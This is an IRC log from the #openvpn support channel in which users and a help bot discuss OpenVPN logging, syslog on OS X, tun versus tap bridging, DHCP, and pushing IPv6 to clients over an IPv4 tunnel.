20:48 -!- S1lv3R [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
20:49 <@Eugene> Yes, but don't.
20:50 < combsbj_> ok, if I "didn't" how would it be done anyway? :)
20:51 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has quit [Ping timeout: 252 seconds]
20:52 < pekster> It's a setting that can be "forced" by an Exchange admin. There are ways to hack around it that probably violate your company policy on computer usage, and it's generally a bad idea
20:53 < pekster> It's also poor security practice in general
20:54 < Moonlightning> Where are logs stored by default on OS X?
20:54 <@Eugene> !logfiles
20:54 <@Eugene> !logfile
20:54 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
20:54 < pekster> Same place as any other client. Tunnelblick probably keeps them somewhere under /Library or ~/Library though, if you mean the frontend
20:55 < pekster> There should be a UI menu to pull up the status window that shows the logs
20:57 -!- S1lv3R [~BenLue@178-83-36-152.dynamic.hispeed.ch] has quit [Ping timeout: 252 seconds]
21:01 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
21:15 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
21:18 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
21:19 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
21:20 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has joined #openvpn
21:35 < blorgh> probably a stupid question, but how gracefully could I expect openvpn to handle changing networks on the client side (i.e. a main and a failover connection, both of which ships all traffic through the same tunnel)? should i expect my tcp-sessions to die when switching connection?
21:35 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
21:35 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has quit [Changing host]
21:35 -!- BenLue [~BenLue@unaffiliated/benlue] has joined #openvpn
21:36 < Poster> it would really depend on how fast it reconnected
21:37 < Poster> and the tcp timeouts that were being used across it
21:37 < Poster> plus the client and/or server would have to realize the link had dropped and initiate a reconnect
21:37 < Poster> lot of variables in that equation
21:38 < blorgh> okay, thanks :)
21:48 < pekster> There should be a UI menu to pull up the status window that shows the logs
21:48 < pekster> Erm, it helps to type {up}{up}{enter} in the right terminal...
21:49 < Poster> words are tough
21:51 < pekster> Not quite sure what that has to do with my kernel config or the active IRC window
21:53 < Moonlightning> Can I have OpenVPN write multiple logs with different verbosities?
21:53 < Moonlightning> Doesn't seem like it…
21:53 < pekster> Nope, not without some hacking of the code
21:54 < rob0> one instance is only going to have one verbose level. But each higher level includes all the lower ones.
21:54 < Moonlightning> When is that /not/ true for logging? XD
21:54 < Poster> only thing I could think would be to run it at the highest and write some parser to pull out only certain events
21:54 < rob0> what I'm suggesting is, parse it
21:55 < Moonlightning> Hmm.
21:55 < Moonlightning> I was thinking of running one at level 4 (level 3?), and setting up logrotate, keeping those for the normal amount of time
21:55 < Moonlightning> And then running another at level 6, and keeping only one of those.
21:55 < Moonlightning> So I can quickly look through and get more information on why a connection is failing
21:56 -!- master_o1_master [~master_of@p4FF2463B.dip0.t-ipconnect.de] has joined #openvpn
21:56 < rob0> can't you change the verbose level in the management console?
21:56 < pekster> Log levels more than 5 are generally pointless unless you're doing debugging
21:57 < Moonlightning> 5 then
21:58 < pekster> And even 5, it'll spit rwRW in the logs for every packet inside/outside the tunnel
21:58 -!- master_of_master [~master_of@p4FF24CD0.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
21:58 < pekster> I'd run at 4 or 3 for normal use
21:58 < Moonlightning> Mmmm…
21:58 < Moonlightning> Yeah, I just saw that XD
21:58 < pekster> If you have firewall issues, 5 on both ends can help, but otherwise it's just log spam
22:01 < Moonlightning> …
22:01 < Moonlightning> If /5/ writes characters for /every packet read…/
22:01 < Moonlightning> What's ABOVE it? o.o
22:03 < pekster> Debugging
22:03 < pekster> If you're not a programmer it's worthless
22:22 -!- master_of_master [~master_of@p4FF24834.dip0.t-ipconnect.de] has joined #openvpn
22:25 -!- master_o1_master [~master_of@p4FF2463B.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
22:33 < Moonlightning> Hmm.
22:33 < Moonlightning> So if I want to give OpenVPN its own log files and set up logrotate, do I need to send it a signal to have it—
22:33 < Moonlightning> …wait.
22:33 < Moonlightning> !log
22:33 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
22:33 < Moonlightning> !logs
22:33 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
22:34 < Moonlightning> !logfile
22:34 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
22:42 < Moonlightning> …no…yeah.
22:42 < Moonlightning> If I want to give OpenVPN its own log files and set up logrotate, do I need to send it a signal to have it close and reopen the logfile?
22:42 < Moonlightning> Or should I use `logrotate`s copytruncate directive and maybe OpenVPN's --log-append?
22:44 < pekster> How about learning to use a system logger?
22:45 < pekster> Most of the nicer log daemons support logging to files based on program name or facility
22:46 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
22:47 < phunyguy> I really just have a general probably easy question.   I am curious to know if it is possible to bridge an openvpn server's tun0 adapter to an existing ethernet bridge.  All the how-tos mention tap devices, but don't give a reason as to why tap is used.
22:48 < Poster> I don't think the tun adapter carries ethernet extensions needed to bridge
22:48 < phunyguy> as a proof of concept, I am trying to make openvpn use a bridged configuration with dnsmasq handing out DHCP leases
22:48 < Aketzu> because tap is lower level than tun (in osi model)
22:48 < phunyguy> but I need to use tun.
22:48 < phunyguy> meh.
22:48 < phunyguy> that stinkies.
22:49 < phunyguy> I couldn't get tap working with android and iDevices
22:49 < phunyguy> I wish I could.
22:49 < Poster> did you try the dev-type argument?
22:49 < Poster> I think
22:50 < Aketzu> are you sure droids and iDevices support bridging :)
22:50 < phunyguy> yeah, but I think what I read was only tun is supported on the client end.
22:50 < phunyguy> they don't.
22:50 < phunyguy> :)
22:50 < Moonlightning> pekster: uhhh?
22:50 < Poster> I know in OpenBSD there is not a tap device, but it does accept :dev-type tap"
22:50 < phunyguy> hence needing to use tun, but that defeats the purpose of what I am trying to do.
22:50 < Moonlightning> I don't need anything fancy…I just want log rotation xD
22:51 < Poster> Moonlightning: generally you'd log to syslog and let logrotate keep things from growing too large
22:51 < phunyguy> maybe I will just use pptp for those devices.
22:51 < Poster> can you do ipsec or l2tp?
22:52 < phunyguy> hmm actually. yes...
22:52 < phunyguy> if ubuntu can do that on server end
22:52 < Poster> probably a more secure approach
22:52 < phunyguy> thanks for the thought.
22:52 < Moonlightning> Poster: yes, but I'd rather OpenVPN stuff show up in its own log and not syslog.
22:53 < phunyguy> I still like openvpn for my laptops.  I have them stay connected to home regardless of where I am and route all traffic through the ssl tunnel.
22:53 < Aketzu> once I got iOS "cisco ipsec" working... rather mess with x2tp etc.
22:53 < phunyguy> if at home, tunnel is down.  (nmcli scripts)
22:53 < phunyguy> tap it is!
22:53 < phunyguy> thank you, folks.
22:55 < phunyguy> https://help.ubuntu.com/community/L2TPServer btw
22:55 <@vpnHelper> Title: L2TPServer - Community Ubuntu Documentation (at help.ubuntu.com)
22:57 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
22:58 < Poster> Moonlightning: it looks like the --log or --log-append may be what you're after
22:58  * Moonlightning facehoofs
22:58 < Moonlightning> Yes, I found that.
22:59 < Moonlightning> My question is, when I set up logrotate, should I have it send `openvpn` a signal when it rotates the logs, or should I use its copytruncate directive, or what?
23:00 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Client Quit]
23:00 < Poster> well, as far as I know, when you write to syslog, the output is send to a socket, then the syslog daemon is restarted when files need rotated
23:01 < Poster> if you skip syslog, then yes, you'd need some method to stop the openvpn daemon, rename the log file, then restart the openvpn daemon
23:01 < Poster> which I would think would not be desired
23:02 < Poster> you might be able to do something else like copy the file somewhere else then cat /dev/null > log
23:02 < Poster> but I am not sure how openvpn will cope
23:03 < Moonlightning> …so copytruncate.
23:03 < Moonlightning> Thanks :V
23:03 < Poster> you can try, but I'd test it
23:03 < Poster> if that doesn't work, you might need to restart the openvpn daemon(s)
23:11 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
23:11 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
23:20 < phunyguy> So I guess I have another question in relation to this.  I want OpenVPN to have it's own subnet, but I still want dnsmasq to hand out IPs, so that hostnames are captured, and I can resolve to the connected client.   Can someone explain if something like that is feasible?
23:20 < phunyguy> basically I want clients to connect, and still do an actual broadcast for DHCP with OpenVPN only handling layer 2.
23:21 < Aketzu> how about adding custom --client-connect script to server which adds them to dns
23:21 < phunyguy> tbh this seemed like it may be easier.
23:21 < phunyguy> and dnsmasq, I'm not sure how that would work.
23:22 < Aketzu> "For TAP devices, --ifconfig should not be used if the TAP interface will be getting an IP address lease  from  a  DHCP server."
23:23 < phunyguy> --ifconfig...
23:23 < phunyguy> I am using a config file.
23:23 < phunyguy> where did you read that?
23:23 < Aketzu> the parameters are the same without --
23:23 < Aketzu> "If --server-bridge is used without any parameters, it will enable a DHCP-proxy mode, where connecting OpenVPN  clients will  receive  an  IP address for their TAP adapter from the DHCP server running on the OpenVPN server-side LAN."
23:23 < Aketzu> openvpn man page
23:23 < phunyguy> oh sweet.
23:24 < phunyguy> the other confusing part to me is the bridge aspect without it actually bridging any hardware interfaces.
23:24 < phunyguy> :(
23:24 < Aketzu> tap is "hardware"
23:24 < Poster> There's a set mac address range for the openvpn adapters, you can use that prefix to hand out specific addresses/parameters based on it
23:25 < phunyguy> so basically it will call a script to the bridge utils to bring up a bridge with just tap0 on it?
23:25 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
23:25 < phunyguy> if I tell it to?
23:25 < phunyguy> OK will look into this more tomorrow.  Thank you for your help.
23:29 < Moonlightning> Gah.
23:29 < Moonlightning> SIGHUP kills connections?
23:29  * Moonlightning just wanted it to reload the config file! >.<
23:30 < Moonlightning> Is there a way to have it reload the config file /without/ killing connections?
23:31 < Aketzu> probably not
23:38 < Moonlightning> …why not? :<
23:41 < Aketzu> why would you need that since syslog handles all such things
23:45 < Moonlightning> …
23:45  * Moonlightning double facehoofs
23:45 < Moonlightning> One. We're talking about config files here, not logs. If something called sysLOG deals with reloading CONFIG FILES, it probably needs a better name.
23:45 < Moonlightning> Two. I need it because I /don't want OpenVPN messages to show up in the syslog./
23:46 < Aketzu> then configure syslog to not send messages from openvpn to your syslog file but its own file
23:47 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
23:48  * Moonlightning blinks
23:48 < Moonlightning> Wait, you can do that?
23:48 < Moonlightning> urgh, sorry x.x
23:49 < Aketzu> the main point of syslog is to distribute log messages to configurable files
23:49  * Moonlightning doesn't know very much vv
23:50 < Moonlightning> Umm…I can't see anything OpenVPN-related on my Mac
23:50 < Moonlightning> I tried /var/log/system.log and the all-messages panel of the log viewer app (Console)
23:54 < Moonlightning> Incompatible syslog, maybe?
23:54 < Moonlightning> Anyone else have a setup on OS X and know what happens with the logs?
--- Day changed Fri Apr 19 2013
00:01 -!- gardar_ [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
00:04 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 272 seconds]
00:04 -!- BenLue [~BenLue@unaffiliated/benlue] has quit [Ping timeout: 256 seconds]
00:04 < Moonlightning> Hmm.
00:06 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
00:08 < Aketzu> are you using tunnelblick or what?
00:09 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
00:09 < pekster> Moonlightning: If you want to use a syslog, try learning how it works. In case my hint before wasn't blunt enough: https://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man5/syslog.conf.5.html#//apple_ref/doc/man/5/syslog.conf
00:09 <@vpnHelper> Title: Loading (at developer.apple.com)
00:09 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
00:10 < Moonlightning> Okay. vv
00:12 < Moonlightning> oooo, you can have things be written to users if they're logged in
00:14 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
00:15 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Client Quit]
00:15 < Moonlightning> Mmm…looks like OS X doesn't use syslog much, if at all
00:16 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
00:19 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
00:21 -!- levifig [~levifig@spwn.co] has joined #openvpn
00:23 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
00:24 < Moonlightning> Well, from what I gather, messages with a evel of /notice/ and up are saved in system.log
00:25 < Moonlightning> Only…I'm not seeing anything from OpenVPN in there.
00:25 < pekster> Are you using the system logger?
00:25 < pekster> !logfile
00:25 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
00:25 < pekster> Pretty sure you saw your options before
00:26 < Moonlightning> …yes?
00:26 < pekster> #3 give you your choices. (--syslog can use syslog if you don't want the settings that come along with --daemon)
00:26 < pekster> So, are you even using the syslog?
00:26 < Moonlightning> It does by default, right?
00:26 < Moonlightning> …oooooohhhhh
00:26 < pekster> No
00:26 < pekster> #4
00:26 < Moonlightning> derrrrp
00:29 < Moonlightning> THERE we go.
00:30 < Moonlightning> hmm
00:30 < Moonlightning> I guess the client directive changes it?
00:30  * Moonlightning added `syslog` and it works now xD
00:33 -!- javacoder- [~javacoder@2.190.47.66] has quit [Ping timeout: 264 seconds]
00:41 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
00:41 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
00:53 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
01:03 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
01:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:13 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
01:28 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
01:30 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:30 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:30 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:32 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
01:34 -!- joshie [~josh@joshie.net] has quit [Ping timeout: 256 seconds]
01:34 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Remote host closed the connection]
01:35 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 256 seconds]
01:42 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
01:45 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
01:46 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
01:47 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
01:47 -!- combsbj_ [~Brandon@74-136-165-178.dhcp.insightbb.com] has quit [Ping timeout: 256 seconds]
01:48 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Ping timeout: 600 seconds]
01:55 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 272 seconds]
01:56 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:56 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:56 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:56 -!- uuuppz [uuuppz@78.129.207.46] has quit [Ping timeout: 252 seconds]
01:57 -!- brad [~brad@ninja.so] has quit [Quit: No Ping reply in 150 seconds.]
01:58 -!- brad [~brad@ninja.so] has joined #openvpn
02:03 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
02:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
02:22 -!- Rienzilla [rien@sinas.rename-it.nl] has joined #openvpn
02:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
02:31 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
02:44 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
02:49 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:52 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
03:10 -!- JSharpe [~JSharpe@130.185.155.130] has joined #openvpn
03:41 -!- erry_ is now known as erry
03:54 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Read error: Operation timed out]
03:56 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
04:03 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:08 -!- DrZaius [~Grag@ec2-54-236-143-145.compute-1.amazonaws.com] has joined #openvpn
04:08 < DrZaius> how can i tell what interface are the tunnels using?
04:08 < DrZaius> the tunX devices
04:18 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:24 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:24 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
04:24 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:31 < hg_5> hello how to assign tun openvpn interface to physical port on router? I want to make that only from this port will be redirected all vpn traffic
04:36 < Aketzu> I would probably put own VLAN there
04:37 < hg_5> Aketzu how to do that?
04:37 < hg_5> i have succesfully did that with tap interface
04:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
04:37 < hg_5> but tun interface i dont see on router
04:38 < Aketzu> oh you mean you have normal linux box as a router and not a separate device
04:38 < Aketzu> then just do the same as with tap device
04:38 < hg_5> i have router openwrt
04:38 -!- gardar [~gardar@gardar.net] has joined #openvpn
04:39 < hg_5> i have 2 routers 1st is server and the other is client
04:39 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
04:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
04:56 -!- dazo_afk is now known as dazo
04:57 -!- badserii [~badan@95.65.58.105] has joined #openvpn
04:58 < badserii> Hello. Is it possible to push a route like : route add -net 224.0.0.0 netmask 240.0.0.0 dev tap0
04:58 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:00 < badserii> When I do: push "route 224.0.0.0 240.0.0.0" , it adds the route through the server IP, not through the interface.
05:13 -!- takamichi [~takamichi@217.23.15.212] has quit [Quit: Computer has gone to sleep.]
06:11 < kisom> badserii: It's all in the manual.
06:11 < kisom> But yes, it is possible. I do it all the time.
06:15 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
06:22 -!- brute11k1 [~brute@89.249.235.221] has joined #openvpn
06:24 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
06:24 -!- brute11k [~brute@89.249.235.221] has quit [Ping timeout: 252 seconds]
06:24 < badserii> Thanks kisom, I'll check again
06:30 -!- brute11k1 [~brute@89.249.235.221] has quit [Ping timeout: 252 seconds]
06:30 -!- Anon2013 [~Anon2013@ns1.mastermindnetworks.org] has joined #openvpn
06:32 < Anon2013> Hi everyone !
06:32 < Anon2013> Does anyone know how to assign a fixed IPv6 address to user ?
06:32 < Anon2013> I'm already doing on IPv4 so I imagine it should be just a SNAT from IPv4 to IPv6 ?
06:35 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
06:38 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
06:40 -!- brute11k [~brute@89.249.235.221] has joined #openvpn
06:40 < jzaw> Anon2013, are you routing ipv6 down an ipv4 tunnel?
06:44 < Anon2013> The clients connects with IPv4 , gets assigned a internal IPv4 (IE 1.1.2.4) and i would like the traffic to come out of the server as a IPv6
06:44 < Anon2013> Further down the road if this works I want to enable IPv6 privacy extensions .
06:47  * Anon2013 braces for a "You can't answer"
06:48 < jzaw> i could tell you ... but then id have to kill you :P
06:48 < Anon2013> I'm immortal , shoot
06:49 < Anon2013> :D
06:51  * jzaw thought removal of heads usually dealt with immortality ......
06:51 < jzaw> there can be only one!
06:52 < Anon2013> OK I'll give up my immortality for the sake of knowledge :))
06:53 < jzaw> not that i know any way ;)
06:54 < jzaw> but shoot ... why ipv6 privacy?
06:54 < jzaw> why not just plain old ipv6 ?
06:54 < Anon2013> I'm trying to get IPv6 working first .
06:55 < Anon2013> Privacy comes latter .
06:55 < jzaw> its already working ... you just need radvd and some routing ... and of course a couple of /64's
06:55 < Anon2013> Assuming we have any left after CISPA
06:55 < Anon2013> I got a /64 block
06:56 < jzaw> you could do with a couple more
06:56 < jzaw> one for your tunnel and one of the remote lan
06:56 < jzaw> unless each client is connecting via openvpn individually
06:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao]
06:57 < Anon2013> I use PAM to authenticate them user . The whole username/pw seemed simpler to me :P
06:58 < jzaw> keys is easy
06:58 < Anon2013> As for remote LAN that's not needed for now . All i want is regular traffic to go trough the server , I'll add more features later .
06:59 < Anon2013> AFAIK i need to create a key for each user to prevent abuse . Since I'm the only sysadmin in my team that does OpenVPN adding a user is the only way they can do it :(
06:59 < Anon2013> And revoking the user/pw seemed easier .
07:00 < jzaw> revoking keys is easy too
07:00 < jzaw> did you see easy-rsa ?
07:00 < Anon2013> Yea
07:00 < Anon2013> 2.0
07:00 < jzaw> you can script making multiple keys
07:00 < jzaw> if its 100s
07:01 < jzaw> also using keys you authenticate server with client + vice versa
07:02 < jzaw> is your /64 from your isp?    or something like a HE tunnel
07:02 < Anon2013> I'll try it out on our next server . Right now all we have a is a little monster running tons of processes . I just don't want to mess something up by running just 1 bad command .
07:02 < Anon2013> We got the /64 from our datacenter - free of charge .
07:03 < jzaw> openvpn doesnt have to run on the gateway
07:03 -!- newbie|3 [~tjz@bb119-74-164-84.singnet.com.sg] has joined #openvpn
07:03 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
07:03 -!- mode/#openvpn [+o dazo] by ChanServ
07:03 < jzaw> for testing you could always run it on any spare pc .. or even something tiny like an openwrt router
07:03 -!- JSharpe [~JSharpe@130.185.155.130] has quit [Read error: Connection timed out]
07:04 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
07:04 -!- JSharpe [~JSharpe@130.185.155.130] has joined #openvpn
07:04 < Anon2013> All i have is my laptop and the server - trust me if I had a decent environment to run tests i would .
07:04 < jzaw> a £10 wr740n ... is a great environment for testing ;)
07:05 < Anon2013> I prefer to play it safe #1 because it's a live server #2  because I'm not exactly a Linux boffin
07:05 < Anon2013> Well i Azure VMs but those are more restricted then anything I've tried so far .
07:05 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 240 seconds]
07:06 < jzaw> thats what im saying ... play with the tp-link wr740n ... and youll soon pick up [some] linux skills
07:08 < Anon2013> Which brings me to my #3 problem time . I'm mostly a designer/developer that does servers because it's cheaper then to buy a fully managed server .
07:09 <@ecrist> Anon2013: you can't do a IPv4 to IPv6 conversion
07:09 <@ecrist> you can, however, push IPv6 addresses to your VPN clients
07:11 < Anon2013> Will they still be able to connect to the server's IPv4 ? I'm a little concern because I can't even ping my IPv6s from my home machine .
07:11 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:11 <@ecrist> you need to think of IPv4 and IPv6 as completely different networks (because they are)
07:12 < Anon2013> I saw that the community Read Me says to run a different instance of OpenVPN for IPv6 but i was hoping to use just one instance since that seemed simpler .
07:12 <@ecrist> so, with openvpn 2.3, you can push BOTH ipv4 and ipv6
07:12 <@ecrist> I do this exact thing with my personal VPN
07:12 < Anon2013> I'm running 2.3
07:13 <@ecrist> so, at home, I've only got IPv4 available, but when I connect to my remote VPN server, I get both IPv4 and IPv6, allowing me to use the internet as either
07:13 < jzaw> me too ecrist
07:13 < Anon2013> Yea that's what I'm looking to implement .
07:13 < jzaw> ipv6 down an ipv4 tunnel
07:14 <@ecrist> Anon2013: what you need for this to work right, then, is native IPv6 at your server, with a /64 routed to your VPN server
07:15 < Anon2013> Do you guys have a server/client config file I could have a look at ?
07:15 <@ecrist> sure, let me post mine
07:15 < Anon2013> Awesome
07:17 -!- Eugene is now known as EugeneKay
07:18 <@ecrist> http://pastebin.com/wucVpCDP
07:18 <@ecrist> jzaw: you'll notice, if you look, I set an MTU of 1400, specifically to fix the IPv6 issue you were speaking of yesterday
07:19 < jzaw> ecrist, i was looking ta
07:19 < Anon2013> @ecrist I have both IPv4 and IPv6 -  I guess that the IPv4 is native since we were provided with a gateway IPv4 but no gateway IPv6 .
07:19 < jzaw> does it make any diff that im using tap?
07:19 < jzaw> and tcp?
07:19 < jzaw> i guess ill have to move over to udp
07:19 <@ecrist> jzaw: yes
07:19 < Anon2013> Thanks for the config file
07:20 < Anon2013> That clear us a lot of questions :D
07:20 -!- and` [~and@debian/developer/and] has joined #openvpn
07:20 -!- erry [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
07:20 <@ecrist> in my case, I have two separate IPv6 allocations, one for routing, which is what my servers use, and another routed directly to my VPN server
07:21 < and`> hey, is the CN of the client's certificate of an OpenVPN server expected to match the real hostname of the machine that is connecting to the server?
07:21 <@ecrist> my VPN pushes RFC1918 IPv4 address to clients and pushes publicly routable IPv6
07:21 <@EugeneKay> No, it can be any string you like. It should be unique to each client.
07:21 < jzaw> and`, no
07:21 <@ecrist> and`: doesn't matter
07:21 < hg_5> i have ovpn server on router on tun interface, and on client it is all fine on br0 interface, but traffic isnt redirected to br1(with vlan interface), why?
07:21 < and`> thanks
07:21 <@EugeneKay> Making it the hostname of the client or the name of the user will help your sanity immensely
07:21 < jzaw> and`, but it helps so you can easily identify things ;)
07:21 <@EugeneKay> As will sticking to A-Za-z0-9-_
07:22 < jzaw> ah ... what EugeneKay says
07:23 <@ecrist> a . character is OK too
07:23 <@ecrist> jzaw: no PM please
07:23 <@ecrist> jzaw: no PM please
07:23 < jzaw> ah
07:23 <@ecrist> or /ignore...
07:23 < jzaw> sorry
07:24 <@EugeneKay> /bacon
07:25 < jzaw> ecrist, for link-mtu     do i have to use udp (rather than tcp)  AND tun ... or will udp + tap work?
07:28 < Anon2013> What's the "daemon" setting for ? Just asking because it's the first time I encounter the thing .
07:28 < Anon2013> Or maybe it's because I'm using the comunity edition of OpenVPN ?
07:30 < Anon2013> @ecrist Can you still have a fixed IPv4 with that config . Let's saw someone wants a US IPv4 for Spotify is that still possible ?
07:31 < Anon2013> And thanks for all the info so far guys . I hope I'm not to much of nuisance :D
07:34 <@ecrist> jzaw: udp + tap should work
07:34 < jzaw> ta :)
07:34  * jzaw reconfigs
07:34 <@ecrist> Anon2013: yes, you can do fixed IPv4
07:34 <@ecrist> !static
07:34 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
07:34 <@ecrist> see that
07:36 -!- JSharpe_ [~JSharpe@ns2306746.ovh.net] has joined #openvpn
07:37 < Anon2013> Thanks a lot man .
07:37 < Anon2013> !tunortap
07:37 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against
07:37 <@vpnHelper> you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
07:40 < Anon2013> !topology
07:40 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
07:40 -!- JSharpe [~JSharpe@130.185.155.130] has quit [Ping timeout: 272 seconds]
07:41 < and`> ecrist, is the tap interface supposed to grab the same IP / submask of its bridge? (i.e br1)
07:41 <@ecrist> it doesn't "grab" anything
